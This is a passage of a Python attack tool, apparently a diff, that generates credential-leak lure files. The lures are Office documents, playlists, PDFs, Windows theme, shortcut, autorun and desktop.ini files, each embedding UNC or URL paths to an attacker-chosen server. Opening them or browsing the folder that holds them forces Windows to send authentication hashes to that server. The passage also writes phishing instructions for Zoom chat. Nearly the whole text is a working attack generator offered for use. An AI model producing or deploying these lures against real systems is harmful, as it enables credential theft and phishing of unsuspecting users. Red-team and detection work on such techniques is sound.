WITH CHROME, IE OR EDGE)") + +# .docx file with remote includepicture field attack +def create_docx_includepicture(generate,server,filename): + # Source path + src = os.path.join(script_directory,"templates", "docx-includepicture-template") + # Destination path + dest = os.path.join("docx-includepicture-template") + # Copy the content of + # source to destination + shutil.copytree(src, dest) + documentfilename = os.path.join("docx-includepicture-template", "word", "_rels", "document.xml.rels") + # Read the template file + file = open(documentfilename, 'r') + filedata = file.read() + file.close() + # Replace the target string + filedata = filedata.replace('127.0.0.1', server) + # Write the file out again + file = open(documentfilename, 'w') + file.write(filedata) + file.close() + shutil.make_archive(filename, 'zip', "docx-includepicture-template") + os.rename(filename +".zip",filename) + shutil.rmtree("docx-includepicture-template") + print("Created: " + filename + " (OPEN)") + +# .docx file with remote template attack +# Filename: shareattack.docx (unzip and put inside word\_rels\settings.xml.rels), action=open, attacks=word +# Instructions: Word > Create New Document > Choose a Template > Unzip docx, change target in word\_rels\settings.xml.rels change target to smb server +def create_docx_remote_template(generate,server,filename): + # Source path + src = os.path.join(script_directory,"templates", "docx-remotetemplate-template") + # Destination path + dest = os.path.join("docx-remotetemplate-template") + # Copy the content of + # source to destination + shutil.copytree(src, dest) + documentfilename = os.path.join("docx-remotetemplate-template", "word", "_rels", "settings.xml.rels") + # Read the template file + file = open(documentfilename, 'r') + filedata = file.read() + file.close() + # Replace the target string + filedata = filedata.replace('127.0.0.1', server) + # Write the file out again + file = open(documentfilename, 'w') + file.write(filedata) + file.close() + shutil.make_archive(filename, 'zip', "docx-remotetemplate-template") + os.rename(filename +".zip",filename) + shutil.rmtree("docx-remotetemplate-template") + print("Created: " + filename + " (OPEN)") + +# .docx file with Frameset attack +def create_docx_frameset(generate,server,filename): + # Source path + src = os.path.join(script_directory,"templates", "docx-frameset-template") + # Destination path + dest = os.path.join("docx-frameset-template") + # Copy the content of + # source to destination + shutil.copytree(src, dest) + documentfilename = os.path.join("docx-frameset-template", "word", "_rels", "webSettings.xml.rels") + # Read the template file + file = open(documentfilename, 'r') + filedata = file.read() + file.close() + # Replace the target string + filedata = filedata.replace('127.0.0.1', server) + # Write the file out again + file = open(documentfilename, 'w') + file.write(filedata) + file.close() + shutil.make_archive(filename, 'zip', "docx-frameset-template") + os.rename(filename +".zip",filename) + shutil.rmtree("docx-frameset-template") + print("Created: " + filename + " (OPEN)") + +# .xlsx file with cell based attack +def create_xlsx_externalcell(generate,server,filename): + workbook = xlsxwriter.Workbook(filename) + worksheet = workbook.add_worksheet() + worksheet.write_url('AZ1', "external://"+server+"\\share\\[Workbookname.xlsx]SheetName'!$B$2:$C$62,2,FALSE)") + workbook.close() + print("Created: " + filename + " (OPEN)") + +# .wax remote playlist attack +# Filename: shareattack.wax, action=open, attacks=windows media player +def create_wax(generate,server,filename): + file = open(filename,'w') + file.write('''https://''' + server + '''/test +file://\\\\''' + server + '''/steal/file''') + file.close() + print("Created: " + filename + " (OPEN)") + +# .m3u remote playlist attack +# Filename: shareattack.m3u, action=open, attacks=windows media player +def create_m3u(generate,server,filename): + file = open(filename,'w') + file.write('''#EXTM3U +#EXTINF:1337, Leak +\\\\''' + server + '''\\leak.mp3''') + file.close() + print("Created: " + filename + " (OPEN IN WINDOWS MEDIA PLAYER ONLY)") + +# .asx remote playlist attack +# Filename: shareattack.asx, action=open, attacks=windows media player +def create_asx(generate,server,filename): + file = open(filename,'w') + file.write(''' + Leak + + + + +''') + file.close() + print("Created: " + filename + " (OPEN)") + +# .jnlp remote jar attack +# Filename: shareattack.jnlp, action=open, attacks=java web start +def create_jnlp(generate,server,filename): + file = open(filename,'w') + file.write(''' + + + + + +''') + file.close() + print("Created: " + filename + " (OPEN)") + +# .application remote dependency codebase attack +# Filename: shareattack.application, action=open, attacks= .NET ClickOnce +def create_application(generate,server,filename): + file = open(filename,'w') + file.write(''' + +    +    +    +    +       +          +          +             +                +             +             +            ESZ11736AFIJnp6lKpFYCgjw4dU= +          +       +    +''') + file.close() + print("Created: " + filename + " (DOWNLOAD AND OPEN)") + +# .pdf remote object? attack +# Filename: shareattack.pdf, action=open, attacks=Adobe Reader (Others?) +def create_pdf(generate,server,filename): + file = open(filename,'w') + file.write('''%PDF-1.7 +1 0 obj +<> +endobj +2 0 obj +<> +endobj +3 0 obj +<>>> +endobj +xref +0 4 +0000000000 65535 f +0000000015 00000 n +0000000060 00000 n +0000000111 00000 n +trailer +<> +startxref +190 +3 0 obj +<< /Type /Page + /Contents 4 0 R + /AA << + /O << + /F (\\\\\\\\''' + server + '''\\\\test) + /D [ 0 /Fit] + /S /GoToE + >> + >> + /Parent 2 0 R + /Resources << + /Font << + /F1 << + /Type /Font + /Subtype /Type1 + /BaseFont /Helvetica + >> + >> + >> +>> +endobj +4 0 obj<< /Length 100>> +stream +BT +/TI_0 1 Tf +14 0 0 14 10.000 753.976 Tm +0.0 0.0 0.0 rg +(PDF Document) Tj +ET +endstream +endobj +trailer +<< + /Root 1 0 R +>> +%%EOF''') + file.close() + print("Created: " + filename + " (OPEN AND ALLOW)") + + +def create_zoom(generate,server,filename): + if generate == "modern": + print("Skipping zoom as it does not work on the latest versions") + return + file = open(filename,'w') + file.write('''To attack zoom, just put the following link along with your phishing message in the chat window: + +\\\\''' + server + '''\\xyz +''') + file.close() + print("Created: " + filename + " (PASTE TO CHAT)") + +def create_theme(generate,server,filename): + with open(filename, 'w') as file: + file.write('''[Theme] +; Windows - IDS_THEME_DISPLAYNAME_AERO_LIGHT +DisplayName=\\'''+ server +''' Theme +SetLogonBackground=0 +; Computer - SHIDI_SERVER +[CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\DefaultIcon] +DefaultValue=\\\\'''+server+'''\\setup.exe,-109 + +; UsersFiles - SHIDI_USERFILES +[CLSID\\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\\DefaultIcon] +DefaultValue=\\\\'''+server+'''\\setup.exe,-123 + +; Network - SHIDI_MYNETWORK +[CLSID\\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\\DefaultIcon] +DefaultValue=\\\\'''+server+'''\\setup.exe,-25 + +; Recycle Bin - SHIDI_RECYCLERFULL SHIDI_RECYCLER +[CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\DefaultIcon] +Full=\\\\'''+server+'''\\setup.exe,-54 +Empty=\\\\'''+server+'''\\setup.exe,-55 + +[Control Panel\\Cursors] +AppStarting=\\\\'''+server+'''\\setup.exe +Arrow=\\\\'''+server+'''\\aero_arrow.cur +Crosshair= +Hand=\\\\'''+server+'''\\aero_link.cur +Help=\\\\'''+server+'''\\aero_helpsel.cur +IBeam= +No=\\\\'''+server+'''\\aero_unavail.cur +NWPen=\\\\'''+server+'''\\aero_pen.cur +SizeAll=\\\\'''+server+'''\\aero_move.cur +SizeNESW=\\\\'''+server+'''\\aero_nesw.cur +SizeNS=\\\\'''+server+'''\\aero_ns.cur +SizeNWSE=\\\\'''+server+'''\\aero_nwse.cur +SizeWE=\\\\'''+server+'''\\aero_ew.cur +UpArrow=\\\\'''+server+'''\\aero_up.cur +Wait=\\\\'''+server+'''\\aero_busy.ani +DefaultValue=Windows Default +DefaultValue.MUI=@main.cpl,-1020 + +[Control Panel\\Desktop] +Wallpaper=\\\\'''+server+'''\\setup.exe +TileWallpaper=0 +WallpaperStyle=10 +Pattern= +MultimonBackgrounds=0 + +[VisualStyles] +Path=\\\\'''+server+'''\\Themes\\Aero\\Aero.msstyles +ColorStyle=NormalColor +Size=NormalSize +AutoColorization=0 +ColorizationColor=0XC40078D4 +SystemMode=Light +AppMode=Light + +[boot] +SCRNSAVE.EXE= + +[MasterThemeSelector] +MTSM=RJSPBS + +[Sounds] +; IDS_SCHEME_DEFAULT +SchemeName=@\\\\'''+server+'''\\setup.dll,-800 + ''') + print("Created: " + filename + " (THEME TO INSTALL") + +def create_autoruninf(generate,server,filename): + if generate == "modern": + print("Skipping Autorun.inf as it does not work on modern Windows") + return + file = open(filename,'w') + file.write('''[autorun] +open=\\\\''' + server + '''\\setup.exe +icon=something.ico +action=open Setup.exe''') + file.close() + print("Created: " + filename + " (BROWSE TO FOLDER)") + +def create_desktopini(generate,server,filename): + if generate == "modern": + print("Skipping desktop.ini as it does not work on modern Windows") + return + file = open(filename,'w') + file.write('''[.ShellClassInfo] +IconResource=\\\\''' + server + '''\\aa''') + file.close() + print("Created: " + filename + " (BROWSE TO FOLDER)") + +def create_libraryms(generate,server,filename): + file = open(filename,'w') + file.write(''' + +@shell32.dll,-34575 +S-1-5-21-372074477-2495183225-776587326-1000 +1 +true +\\\\''' + server + '''\\aa + +{7d49d726-3c21-4f05-99aa-fdc2c9474656} + + + +@shell32.dll,-34577 +true + +knownfolder:{FDD39AD0-238F-46AF-ADB4-6C85480369C7} +MBAAAEAFCAAA...MFNVAAAAAA + + + +@shell32.dll,-34579 +true + +knownfolder:{ED4824AF-DCE4-45A8-81E2-FC7965083634} +MBAAAEAFCAAA...HJIfK9AAAAAA + + + +''') + file.close() + print("Created: " + filename + " (BROWSE TO FOLDER)") + + +# .lnk remote IconFile Attack +# Filename: shareattack.lnk, action=browse, attacks=explorer +def create_lnk(generate,server,filename): + # these two numbers define location in template that holds icon location + offset = 0x136 + max_path = 0xDF + unc_path = f'\\\\{server}\\tools\\nc.ico' + if len(unc_path) >= max_path: + print("Server name too long for lnk template, skipping.") + return + unc_path = unc_path.encode('utf-16le') + with open(os.path.join(script_directory,"templates", "shortcut-template.lnk"), 'rb') as lnk: + shortcut = list(lnk.read()) + for i in range(0, len(unc_path)): + shortcut[offset + i] = unc_path[i] + with open(filename,'wb') as file: + file.write(bytes(shortcut)) + print("Created: " + filename + " (BROWSE TO FOLDER)") + + +# create folder to hold templates, if already exists delete it +if os.path.exists(args.filename): + if input(f"Are you sure to want to delete {args.filename}? [Y/N]").lower not in ["y", "yes"]: + exit(0) + shutil.rmtree(args.filename) +os.makedirs(args.filename) + +# handle which documents to create +if (args.generate == "all" or args.generate == "modern"): + create_scf(args.generate, args.server, os.path.join(args.filename, args.filename + ".scf")) + + create_url_url(args.generate, args.server, os.path.join(args.filename, args.filename + "-(url).url")) + create_url_icon(args.generate, args.server, os.path.join(args.filename, args.filename + "-(icon).url")) + + create_lnk(args.generate, args.server, os.path.join(args.filename, args.filename + ".lnk")) + + create_rtf(args.generate, args.server, os.path.join(args.filename, args.filename + ".rtf")) + + create_xml(args.generate, args.server, os.path.join(args.filename, args.filename + "-(stylesheet).xml")) + create_xml_includepicture(args.generate, args.server, os.path.join(args.filename, args.filename + "-(fulldocx).xml")) + + create_htm(args.generate, args.server, os.path.join(args.filename, args.filename + ".htm")) + create_htm_handler(args.generate, args.server, os.path.join(args.filename, args.filename + "-(handler).htm")) + + create_docx_includepicture(args.generate, args.server, os.path.join(args.filename, args.filename + "-(includepicture).docx")) + create_docx_remote_template(args.generate, args.server, os.path.join(args.filename, args.filename + "-(remotetemplate).docx")) + create_docx_frameset(args.generate, args.server, os.path.join(args.filename, args.filename + "-(frameset).docx")) + + create_xlsx_externalcell(args.generate, args.server, os.path.join(args.filename, args.filename + "-(externalcell).xlsx")) + + create_wax(args.generate, args.server, os.path.join(args.filename, args.filename + ".wax")) + + create_m3u(args.generate, args.server, os.path.join(args.filename, args.filename + ".m3u")) + + create_asx(args.generate, args.server, os.path.join(args.filename, args.filename + ".asx")) + + create_jnlp(args.generate, args.server, os.path.join(args.filename, args.filename + ".jnlp")) + + create_application(args.generate, args.server, os.path.join(args.filename, args.filename + ".application")) + + create_pdf(args.generate, args.server, os.path.join(args.filename, args.filename + ".pdf")) + + create_zoom(args.generate, args.server, os.path.join(args.filename, "zoom-attack-instructions.txt")) + + create_libraryms(args.generate, args.server, os.path.join(args.filename, args.filename + ".library-ms")) + + create_autoruninf(args.generate, args.server, os.path.join(args.filename, "Autorun.inf")) + + # custom + create_odt(args.server, os.path.join(args.filename, args.filename + ".odt")) + + create_desktopini(args.generate, args.server, os.path.join(args.filename, "desktop.ini")) + + create_theme(args.generate, args.server, os.path.join(args.filename, args.filename + ".theme")) + +elif(args.generate == "scf"): + create_scf(args.generate, args.server, os.path.join(args.filename, args.filename + ".scf")) + +elif(args.generate == "url"): + create_url_url(args.generate, args.server, os.path.join(args.filename, args.filename + "-(url).url")) + create_url_icon(args.generate, args.server, os.path.join(args.filename, args.filename + "-(icon).url")) + +elif(args.generate == "lnk"): + create_lnk(args.generate, args.server, os.path.join(args.filename, args.filename + ".lnk")) + +elif(args.generate == "rtf"): + create_rtf(args.generate, args.server, os.path.join(args.filename, args.filename + ".rtf")) + +elif(args.generate == "xml"): + create_xml(args.generate, args.server, os.path.join(args.filename, args.filename + "-(stylesheet).xml")) + create_xml_includepicture(args.generate, args.server, os.path.join(args.filename, args.filename + "-(fulldocx).xml")) + +elif(args.generate == "htm"): + create_htm(args.generate, args.server, os.path.join(args.filename, args.filename + ".htm")) + +elif(args.generate == "docx"): + create_docx_includepicture(args.generate, args.server, os.path.join(args.filename, args.filename + "-(includepicture).docx")) + create_docx_remote_template(args.generate, args.server, os.path.join(args.filename, args.filename + "-(remotetemplate).docx")) + create_docx_frameset(args.generate, args.server, os.path.join(args.filename, args.filename + "-(frameset).docx")) + +elif(args.generate == "xlsx"): + create_xlsx_externalcell(args.generate, args.server, os.path.join(args.filename, args.filename + "-(externalcell).xlsx")) + +elif(args.generate == "wax"): + create_wax(args.generate, args.server, os.path.join(args.filename, args.filename + ".wax")) + +elif(args.generate == "m3u"): + create_m3u(args.generate, args.server, os.path.join(args.filename, args.filename + ".m3u")) + +elif(args.generate == "asx"): + create_asx(args.generate, args.server, os.path.join(args.filename, args.filename + ".asx")) + +elif(args.generate == "jnlp"): + create_jnlp(args.generate, args.server, os.path.join(args.filename, args.filename + ".jnlp")) + +elif(args.generate == "application"): + create_application(args.generate, args.server, os.path.join(args.filename, args.filename + ".application")) + +elif(args.generate == "pdf"): + create_pdf(args.generate, args.server, os.path.join(args.filename, args.filename + ".pdf")) + +elif(args.generate == "zoom"): + create_zoom(args.generate, args.server, os.path.join(args.filename, "zoom-attack-instructions.txt")) + +elif(args.generate == "libraryms"): + create_libraryms(args.generate, args.server, os.path.join(args.filename, args.filename + ".library-ms")) + +elif(args.generate == "autoruninf"): + create_autoruninf(args.generate, args.server, os.path.join(args.filename, "Autorun.inf")) + +elif(args.generate == "desktopini"): + create_desktopini(args.generate, args.server, os.path.join(args.filename, "desktop.ini")) + +elif(args.generate == "theme"): + create_theme(args.generate, args.server, os.path.join(args.filename, args.filename + ".theme")) + +# create_odt(lhost, filename) +elif(args.generate == "odt"): + create_odt(args.server, os.path.join(args.filename, args.filename + ".odt")) + +print("Generation Complete.")